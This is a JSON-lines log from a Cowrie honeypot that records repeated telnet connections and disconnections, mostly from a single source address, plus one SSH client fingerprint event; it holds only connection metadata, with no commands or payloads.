{"eventid":"cowrie.session.closed","duration":31.61598539352417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:34.641836Z","src_ip":"51.161.172.108","session":"efb9f7814041","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.37329125404358,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:35.273112Z","src_ip":"51.161.172.108","session":"60ebdf8c154e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.569517374038696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:35.380934Z","src_ip":"51.161.172.108","session":"8bfe74311734","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.900492429733276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:35.569057Z","src_ip":"51.161.172.108","session":"14a677640f14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.727516889572144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:36.091056Z","src_ip":"51.161.172.108","session":"d63fab64ec78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56736,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5eb768f1860","protocol":"telnet","message":"New connection: 51.161.172.108:56736 (159.203.135.109:23) [session: c5eb768f1860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:37.315770Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56740,"dst_ip":"159.203.135.109","dst_port":23,"session":"3812966844b6","protocol":"telnet","message":"New connection: 51.161.172.108:56740 (159.203.135.109:23) [session: 3812966844b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:37.446159Z"}
{"eventid":"cowrie.session.closed","duration":31.986183404922485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:38.073788Z","src_ip":"51.161.172.108","session":"b1fc9789e42c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":56756,"dst_ip":"159.203.135.109","dst_port":23,"session":"4455377a1b6c","protocol":"telnet","message":"New connection: 51.161.172.108:56756 (159.203.135.109:23) [session: 4455377a1b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:38.250991Z"}
{"eventid":"cowrie.session.closed","duration":31.621506690979004,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:38.724234Z","src_ip":"51.161.172.108","session":"12b0575e18ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.459041118621826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:38.932516Z","src_ip":"51.161.172.108","session":"773d8e89ccf6","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:39.199585Z","src_ip":"122.168.114.167","session":"331d5c3b36d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:39.202530Z","src_ip":"122.168.114.167","session":"331d5c3b36d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55792,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf8c64e8e099","protocol":"telnet","message":"New connection: 51.161.172.108:55792 (159.203.135.109:23) [session: cf8c64e8e099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:39.287954Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55806,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fde6f4623f0","protocol":"telnet","message":"New connection: 51.161.172.108:55806 (159.203.135.109:23) [session: 6fde6f4623f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:39.651978Z"}
{"eventid":"cowrie.session.closed","duration":30.812983989715576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:39.661644Z","src_ip":"51.161.172.108","session":"c1f91ee56c6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55814,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc7af1274e5a","protocol":"telnet","message":"New connection: 51.161.172.108:55814 (159.203.135.109:23) [session: cc7af1274e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:39.672187Z"}
{"eventid":"cowrie.session.closed","duration":31.117762565612793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:39.806313Z","src_ip":"51.161.172.108","session":"08cc8b851366","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.660240650177002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:39.996066Z","src_ip":"51.161.172.108","session":"f9dfc7c475bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.415567636489868,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:40.173452Z","src_ip":"51.161.172.108","session":"c296d194f438","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.008280992507935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:40.363562Z","src_ip":"51.161.172.108","session":"163c9e08ba98","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55822,"dst_ip":"159.203.135.109","dst_port":23,"session":"1018178e382c","protocol":"telnet","message":"New connection: 51.161.172.108:55822 (159.203.135.109:23) [session: 1018178e382c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:40.530202Z"}
{"eventid":"cowrie.session.closed","duration":30.81164002418518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:40.637916Z","src_ip":"51.161.172.108","session":"313908019534","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.588240146636963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:40.711574Z","src_ip":"51.161.172.108","session":"ac23474aa516","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.400513648986816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:40.899097Z","src_ip":"51.161.172.108","session":"26a15b709ee6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.74704909324646,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:40.908726Z","src_ip":"34.69.118.1","session":"41af4622f06d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55834,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfc8a5b639cd","protocol":"telnet","message":"New connection: 51.161.172.108:55834 (159.203.135.109:23) [session: cfc8a5b639cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:40.990503Z"}
{"eventid":"cowrie.session.closed","duration":31.617239952087402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:41.720078Z","src_ip":"51.161.172.108","session":"4df11ed5dc23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.74143147468567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:41.736740Z","src_ip":"51.161.172.108","session":"06714e68ad9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":47168,"dst_ip":"159.203.135.109","dst_port":23,"session":"d25132975f02","protocol":"telnet","message":"New connection: 167.99.38.72:47168 (159.203.135.109:23) [session: d25132975f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:41.961784Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55846,"dst_ip":"159.203.135.109","dst_port":23,"session":"8493d23779b8","protocol":"telnet","message":"New connection: 51.161.172.108:55846 (159.203.135.109:23) [session: 8493d23779b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:42.596954Z"}
{"eventid":"cowrie.session.closed","duration":31.698343753814697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:42.743446Z","src_ip":"51.161.172.108","session":"8878091b78e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.741904735565186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:43.164802Z","src_ip":"51.161.172.108","session":"55acbbfb384d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.941560983657837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:43.291831Z","src_ip":"51.161.172.108","session":"dd5aa256f766","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.429378986358643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:43.317119Z","src_ip":"51.161.172.108","session":"f4a215a6e523","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55850,"dst_ip":"159.203.135.109","dst_port":23,"session":"974c9c752cd0","protocol":"telnet","message":"New connection: 51.161.172.108:55850 (159.203.135.109:23) [session: 974c9c752cd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:43.373276Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55854,"dst_ip":"159.203.135.109","dst_port":23,"session":"dafb2c5f2da0","protocol":"telnet","message":"New connection: 51.161.172.108:55854 (159.203.135.109:23) [session: dafb2c5f2da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:43.525449Z"}
{"eventid":"cowrie.session.closed","duration":31.601083993911743,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:43.541044Z","src_ip":"51.161.172.108","session":"1b68728a506b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.831767559051514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:44.188561Z","src_ip":"51.161.172.108","session":"7023771a537f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.432952642440796,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:44.501216Z","src_ip":"51.161.172.108","session":"bb1444a49f4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55860,"dst_ip":"159.203.135.109","dst_port":23,"session":"98e3cefde1d4","protocol":"telnet","message":"New connection: 51.161.172.108:55860 (159.203.135.109:23) [session: 98e3cefde1d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:45.223463Z"}
{"eventid":"cowrie.session.closed","duration":30.74942111968994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:45.388402Z","src_ip":"51.161.172.108","session":"07d09916291f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":44034,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7d13be02d56","protocol":"telnet","message":"New connection: 173.249.63.118:44034 (10.17.0.5:23) [session: f7d13be02d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:45.659422Z"}
{"eventid":"cowrie.session.closed","duration":31.38099193572998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:45.703170Z","src_ip":"51.161.172.108","session":"f908e23e392e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.14708375930786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:45.745474Z","src_ip":"51.161.172.108","session":"92ded8685c4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55870,"dst_ip":"159.203.135.109","dst_port":23,"session":"c48b2c203a51","protocol":"telnet","message":"New connection: 51.161.172.108:55870 (159.203.135.109:23) [session: c48b2c203a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:45.891665Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55876,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a64d20f1bab","protocol":"telnet","message":"New connection: 51.161.172.108:55876 (159.203.135.109:23) [session: 2a64d20f1bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:46.001938Z"}
{"eventid":"cowrie.session.closed","duration":31.651729345321655,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:46.040179Z","src_ip":"51.161.172.108","session":"6aaea0f52a06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.014749765396118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:46.731308Z","src_ip":"51.161.172.108","session":"09070bda78eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.751190900802612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:46.822777Z","src_ip":"51.161.172.108","session":"ad41cfc7c200","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55882,"dst_ip":"159.203.135.109","dst_port":23,"session":"84419dea05a8","protocol":"telnet","message":"New connection: 51.161.172.108:55882 (159.203.135.109:23) [session: 84419dea05a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:46.925406Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55898,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2cb3a01fddb","protocol":"telnet","message":"New connection: 51.161.172.108:55898 (159.203.135.109:23) [session: a2cb3a01fddb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:47.010167Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55914,"dst_ip":"159.203.135.109","dst_port":23,"session":"03ab02f31f1b","protocol":"telnet","message":"New connection: 51.161.172.108:55914 (159.203.135.109:23) [session: 03ab02f31f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:47.216613Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55930,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a2442498e05","protocol":"telnet","message":"New connection: 51.161.172.108:55930 (159.203.135.109:23) [session: 2a2442498e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:47.621298Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":46782,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fc42b28e313","protocol":"telnet","message":"New connection: 173.249.63.118:46782 (10.17.0.5:23) [session: 1fc42b28e313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:47.653245Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55940,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8c3eb32ae4c","protocol":"telnet","message":"New connection: 51.161.172.108:55940 (159.203.135.109:23) [session: c8c3eb32ae4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:47.752816Z"}
{"eventid":"cowrie.session.closed","duration":31.85683536529541,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:47.855309Z","src_ip":"51.161.172.108","session":"92848f47e68b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55952,"dst_ip":"159.203.135.109","dst_port":23,"session":"b59c8dc2b3ef","protocol":"telnet","message":"New connection: 51.161.172.108:55952 (159.203.135.109:23) [session: b59c8dc2b3ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:48.008432Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55962,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea9b91bf1a31","protocol":"telnet","message":"New connection: 51.161.172.108:55962 (159.203.135.109:23) [session: ea9b91bf1a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:48.019015Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55968,"dst_ip":"159.203.135.109","dst_port":23,"session":"70be97b5bfce","protocol":"telnet","message":"New connection: 51.161.172.108:55968 (159.203.135.109:23) [session: 70be97b5bfce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:48.168656Z"}
{"eventid":"cowrie.session.closed","duration":31.436416149139404,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:48.317534Z","src_ip":"51.161.172.108","session":"a752c085b4cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55974,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb31cd05e2dd","protocol":"telnet","message":"New connection: 51.161.172.108:55974 (159.203.135.109:23) [session: bb31cd05e2dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:48.455084Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":55982,"dst_ip":"159.203.135.109","dst_port":23,"session":"327580676f99","protocol":"telnet","message":"New connection: 51.161.172.108:55982 (159.203.135.109:23) [session: 327580676f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:49.005475Z"}
{"eventid":"cowrie.session.closed","duration":30.763182878494263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:49.315513Z","src_ip":"51.161.172.108","session":"6b4aacc05dbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.38090968132019,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:49.392961Z","src_ip":"51.161.172.108","session":"dbe78dfc01a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52634,"dst_ip":"159.203.135.109","dst_port":23,"session":"747cfad690cf","protocol":"telnet","message":"New connection: 51.161.172.108:52634 (159.203.135.109:23) [session: 747cfad690cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:49.538093Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52646,"dst_ip":"159.203.135.109","dst_port":23,"session":"27c0d96eb43a","protocol":"telnet","message":"New connection: 51.161.172.108:52646 (159.203.135.109:23) [session: 27c0d96eb43a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:49.790843Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":48136,"dst_ip":"10.17.0.5","dst_port":23,"session":"61befeb211fc","protocol":"telnet","message":"New connection: 173.249.63.118:48136 (10.17.0.5:23) [session: 61befeb211fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:49.845693Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52662,"dst_ip":"159.203.135.109","dst_port":23,"session":"19e735e40778","protocol":"telnet","message":"New connection: 51.161.172.108:52662 (159.203.135.109:23) [session: 19e735e40778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:50.087658Z"}
{"eventid":"cowrie.session.closed","duration":30.410640716552734,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:50.229146Z","src_ip":"51.161.172.108","session":"03246014dc1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.629788637161255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:50.515789Z","src_ip":"51.161.172.108","session":"067f8fa730fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17472767829895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:50.533721Z","src_ip":"51.161.172.108","session":"50f6c43d4987","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10333228111267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:50.841529Z","src_ip":"51.161.172.108","session":"9ebdbcf43ac6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.914268016815186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:51.397728Z","src_ip":"51.161.172.108","session":"3d94a1ddbe03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52664,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6abe7a7abc1","protocol":"telnet","message":"New connection: 51.161.172.108:52664 (159.203.135.109:23) [session: c6abe7a7abc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:51.448774Z"}
{"eventid":"cowrie.session.closed","duration":31.620474815368652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:51.719498Z","src_ip":"51.161.172.108","session":"e07dd550e712","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":52676,"dst_ip":"159.203.135.109","dst_port":23,"session":"d92064db3bd5","protocol":"telnet","message":"New connection: 51.161.172.108:52676 (159.203.135.109:23) [session: d92064db3bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:52.167526Z"}
{"eventid":"cowrie.session.closed","duration":31.07080841064453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:52.219432Z","src_ip":"51.161.172.108","session":"1f5f6094f2e4","protocol":"telnet"}
